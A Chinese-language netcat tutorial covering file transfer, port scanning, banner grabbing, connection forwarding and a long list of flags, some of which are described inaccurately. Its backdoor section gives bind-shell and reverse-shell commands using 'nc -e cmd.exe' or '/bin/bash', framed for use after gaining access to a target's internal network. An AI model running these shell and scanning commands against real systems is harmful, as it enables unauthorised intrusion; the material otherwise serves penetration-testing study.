nc 瑞士军刀
通过tcp和udp在网络中读取数据
nc文件传输
客户端给服务器端传送文件
创建一个服务器端的方法;
nc -l -p 端口号 > outfile 服务器端接受文件
创建一个客户端的方法;
nc 服务器ip地址 服务器端口号 < infile 传入的文件 客户端向服务器端传输对应的文件
服务器端给客户端传送文件
创建一个服务器端的方法
nc -l -p 端口号 < infile
创建一个客户端的方法(连接服务器端)
nc 服务器端ip 服务器端端口 > outfile 服务器端向客户端传输对应的文件
注意事项:
如果此时服务器端并没有准备好连接,而客户端已经使用了nc进行连接,那么客户端将会一直等待下去,知道连接到服务器,造成一种假死的状态。
解决办法:设置等待时间
我们可以使用nc -w 3 服务器端ip 服务器端端口号,设置等待3秒钟,超过3秒钟,客户端直接关闭等待连接
nc信息探测:
使用场景:
- 目标内网的扫描,当获取目标权限之后,如果目标没有任何途径可以对内网记性探测,但是此时刚好具有一个nc的话,就可以使用nc对内网ip和端口进行扫描
- 单纯的对某个目标进行端口探测,当手头没有任何探测工具的时候使用nc
- 对目标的服务banner进行抓取,通过nc对目标端口进行探测
端口扫描的使用方法:
nc -v -n -z -w1 目标ip 目标端口范围
-v 输出详细信息
-n 不对目标机器进行dns解析(只用ip地址)
-z zero I/O模式,专门用于端口扫描。对目标IP发送的数据包不包含任何的payload ,可以加快扫描速度
-w1 设置超时为1秒
banner抓取的方法:
echo "" | nc -v -n -w1 目标ip 目标端口范围
抓取1-1000的banner信息
echo " "|nc -v -n -w1 x.x.x.x 端口号 这个命令会返回一些banner信息
nc建立后门:
使用场景:
- 获取目标的命令执行权限 当目标机器存在nc的时候,可以使用nc建立后门,实现执行目标命令的功能
windwos/linux 建立后门的使用方法:
- 监听型后门
nc -l -p -e cmd.exe或者bin/bash 表示当某个客户端连接到服务器的时候,这个服务器就会返回服务器运行的操作系统上的cmd.exe使得客户端可以执行某些命令
- 连接型后门
nc 目标ip 目标端口 -e cmd.exe或者bin/bash 使得连接的客户端会返回给服务器端一个cmd.exe
- nc连接转发:
蓝色的线就是连接转发
echo nc 目标主机 端口号 > delay.bat
nc -l -p 监听的端口 -e delay.bat
当有客户端连接到服务器的时候,连接的客户端会通过服务器连接到我们设置的ip端口上,从而实现端口转发的目的
常用的命令
nc -G gateway 设置网关,常用于突破内网限制
nc -g num 路由跳数
nc -i sec 设置每发送一行数据的时间间隔(单位是s)
nc -e 执行某个程序,常用语建立过程
nc -l port 临时监听tcp端口
nc -lk port 永久监听tcp端口
nc -lu port 临时监听udp端口
nc -luk port 永久监听tcp端口
nc -vz ip tcp-port 测试tcp端口
nc -uvz ip udp-port 测试udp
nc -4 使用ipv4
nc -6 使用ipv6
nc -b 允许广播
nc -c 发送srlf作为行尾
nc -D 启用调试套接字选项
nc -d 与标准输入分离(脱离命令窗口,在后台运行,通常用于后门建立过程)
nc -F 传递套接字 fd
nc -h 帮助文本
nc -l lengeh tcp 接收缓冲区长度
nc -k 保持入站套接字为多个连接打开
nc -l 监听模式,用于入站连接
nc -M ttl 传出ttl / 跳数限制
nc -m minttl 最小传入 TTL / 跳数限制
nc -N 在标准输入EOF后关闭网络套接字
nc -n 禁止名称/端口解析
nc -O Length TCP 发送缓冲区长度
nc -o file 设置传输十六进制的数据
nc -P proxyuser 代理认证的用户名
nc -P prot 指定远程连接的本地端口
nc -q secs 在标准输入EOF后退出并延迟secs
nc -r 随机化远程端口号,设立某些随机的端口用于监听
nc -S 启用 tcp md5 签名选项
nc -s source 本地源地址 用于端口扫描,隐藏地址
nc -T 关键词 TOS值
nc -T 应答TOS值
nc -t 应答TELNET协商
nc -U 使用unix域套接字
nc -u UDP模式
nc -V rtable 指定备用路由表
nc -v 详细(显示错误或者提示的信息)
nc -W recvlimit 收到一定数量的数据包后终止
nc -w timeout 连接和最终网络读取超时(即多久以后连接不到断开)
nc -X proto 代理协议
nc -x add [:port] 指定代理的地址和端口
nc -Z DCCP模式
nc -z I/O模式专门用于端口扫描。对目标IP发送的数据包不包含任何的payload ,可以加快扫描速度